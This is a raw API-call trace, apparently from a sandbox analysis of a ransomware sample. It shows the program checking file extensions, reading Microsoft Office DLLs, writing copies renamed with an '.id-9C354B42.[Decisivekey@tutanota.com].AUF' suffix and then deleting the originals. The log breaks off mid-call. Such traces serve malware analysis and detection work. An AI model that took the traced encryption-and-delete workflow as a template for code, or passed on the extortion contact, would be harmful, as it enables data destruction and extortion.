[0218.940] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".bz2") returned 4 [0218.940] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString=".7z") returned 3 [0218.940] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".dbf") returned 4 [0218.940] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".1cd") returned 4 [0218.940] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".jpg") returned 4 [0218.940] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".doc") returned 4 [0218.940] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString=".docx") returned 5 [0218.940] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.940] lstrlenW (lpString=".pdf") returned 4 [0218.940] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".xls") returned 4 [0218.940] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".xlsx") returned 5 [0218.940] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.940] lstrlenW (lpString=".ppt") returned 4 [0218.940] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".zip") returned 4 [0218.940] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".rar") returned 4 [0218.940] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.940] lstrlenW (lpString=".bz2") returned 4 [0218.940] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString=".7z") returned 3 [0218.940] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.940] lstrlenW (lpString=".dbf") returned 4 [0218.940] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0218.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.941] lstrlenW (lpString=".1cd") returned 4 [0218.941] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0218.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0218.941] lstrlenW (lpString=".jpg") returned 4 [0218.941] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0218.941] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.941] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0218.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.941] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=2560) returned 1 [0218.941] CloseHandle (hObject=0x1d8) returned 1 [0218.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0218.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0218.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0218.941] lstrlenW (lpString=".doc") returned 4 [0218.941] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0218.941] lstrlenW (lpString=".docx") returned 5 [0218.941] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0218.941] lstrlenW (lpString=".pdf") returned 4 [0218.941] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0218.941] lstrlenW (lpString=".xls") returned 4 [0218.942] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0218.942] lstrlenW (lpString=".xlsx") returned 5 [0218.942] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0218.942] lstrlenW (lpString=".ppt") returned 4 [0218.942] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0218.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0218.942] lstrlenW (lpString=".zip") returned 4 [0218.942] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0218.942] lstrlenW (lpString=".rar") returned 4 [0218.942] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0218.942] lstrlenW (lpString=".bz2") returned 4 [0218.942] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0218.942] lstrlenW (lpString=".7z") returned 3 [0218.942] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0218.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0218.942] lstrlenW (lpString=".dbf") returned 4 [0218.942] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0219.024] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=198056) returned 1 [0219.025] CloseHandle (hObject=0x1f8) returned 1 [0219.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0219.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0219.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.025] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0219.026] GetLastError () returned 0x0 [0219.026] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x305a8, lpOverlapped=0x0) returned 1 [0219.101] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0219.104] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.104] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0219.104] SetEndOfFile (hFile=0x1e0) returned 1 [0219.104] CloseHandle (hObject=0x1e0) returned 1 [0219.104] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.105] SetEndOfFile (hFile=0x1f8) returned 1 [0219.106] CloseHandle (hObject=0x1f8) returned 1 [0219.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.106] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0219.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.106] lstrlenW (lpString=".doc") returned 4 [0219.106] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.106] lstrlenW (lpString=".docx") returned 5 [0219.107] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.107] lstrlenW (lpString=".pdf") returned 4 [0219.107] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".xls") returned 4 [0219.107] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".xlsx") returned 5 [0219.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.107] lstrlenW (lpString=".ppt") returned 4 [0219.107] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.107] lstrlenW (lpString=".zip") returned 4 [0219.107] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".rar") returned 4 [0219.107] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".bz2") returned 4 [0219.107] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.107] lstrlenW (lpString=".7z") returned 3 [0219.107] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.107] lstrlenW (lpString=".dbf") returned 4 [0219.107] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.107] lstrlenW (lpString=".1cd") returned 4 [0219.107] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.107] lstrlenW (lpString=".jpg") returned 4 [0219.107] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.107] lstrlenW (lpString=".doc") returned 4 [0219.107] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".docx") returned 5 [0219.107] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0219.107] lstrlenW (lpString=".pdf") returned 4 [0219.107] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".xls") returned 4 [0219.107] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.107] lstrlenW (lpString=".xlsx") returned 5 [0219.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0219.107] lstrlenW (lpString=".ppt") returned 4 [0219.108] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.108] lstrlenW (lpString=".zip") returned 4 [0219.108] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.108] lstrlenW (lpString=".rar") returned 4 [0219.108] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.108] lstrlenW (lpString=".bz2") returned 4 [0219.108] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.108] lstrlenW (lpString=".7z") returned 3 [0219.108] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.108] lstrlenW (lpString=".dbf") returned 4 [0219.108] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.108] lstrlenW (lpString=".1cd") returned 4 [0219.108] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0219.108] lstrlenW (lpString=".jpg") returned 4 [0219.108] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.108] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.108] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0219.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0219.109] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=862608) returned 1 [0219.109] CloseHandle (hObject=0x1f8) returned 1 [0219.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0219.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0219.109] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.109] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0219.109] GetLastError () returned 0x0 [0219.109] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xd2990, lpOverlapped=0x0) returned 1 [0219.151] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0219.168] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0219.168] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0219.168] SetEndOfFile (hFile=0x1e0) returned 1 [0219.168] CloseHandle (hObject=0x1e0) returned 1 [0219.168] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0219.168] SetEndOfFile (hFile=0x1f8) returned 1 [0219.176] CloseHandle (hObject=0x1f8) returned 1 [0219.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.176] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0219.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".doc") returned 4 [0219.177] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".docx") returned 5 [0219.177] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.177] lstrlenW (lpString=".pdf") returned 4 [0219.177] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".xls") returned 4 [0219.177] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".xlsx") returned 5 [0219.177] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.177] lstrlenW (lpString=".ppt") returned 4 [0219.177] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".zip") returned 4 [0219.177] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".rar") returned 4 [0219.177] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".bz2") returned 4 [0219.177] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.177] lstrlenW (lpString=".7z") returned 3 [0219.177] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".dbf") returned 4 [0219.177] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".1cd") returned 4 [0219.177] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".jpg") returned 4 [0219.177] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".doc") returned 4 [0219.177] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".docx") returned 5 [0219.177] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0219.177] lstrlenW (lpString=".pdf") returned 4 [0219.177] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".xls") returned 4 [0219.177] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".xlsx") returned 5 [0219.177] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0219.177] lstrlenW (lpString=".ppt") returned 4 [0219.177] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.177] lstrlenW (lpString=".zip") returned 4 [0219.177] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".rar") returned 4 [0219.177] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.177] lstrlenW (lpString=".bz2") returned 4 [0219.177] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.178] lstrlenW (lpString=".7z") returned 3 [0219.178] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.178] lstrlenW (lpString=".dbf") returned 4 [0219.178] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.178] lstrlenW (lpString=".1cd") returned 4 [0219.178] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0219.178] lstrlenW (lpString=".jpg") returned 4 [0219.178] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.178] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0219.178] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0219.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0219.178] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=2528128) returned 1 [0219.178] CloseHandle (hObject=0x1f8) returned 1 [0219.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0219.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0219.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0219.179] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0219.179] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0219.179] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0219.305] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xcdbd5, 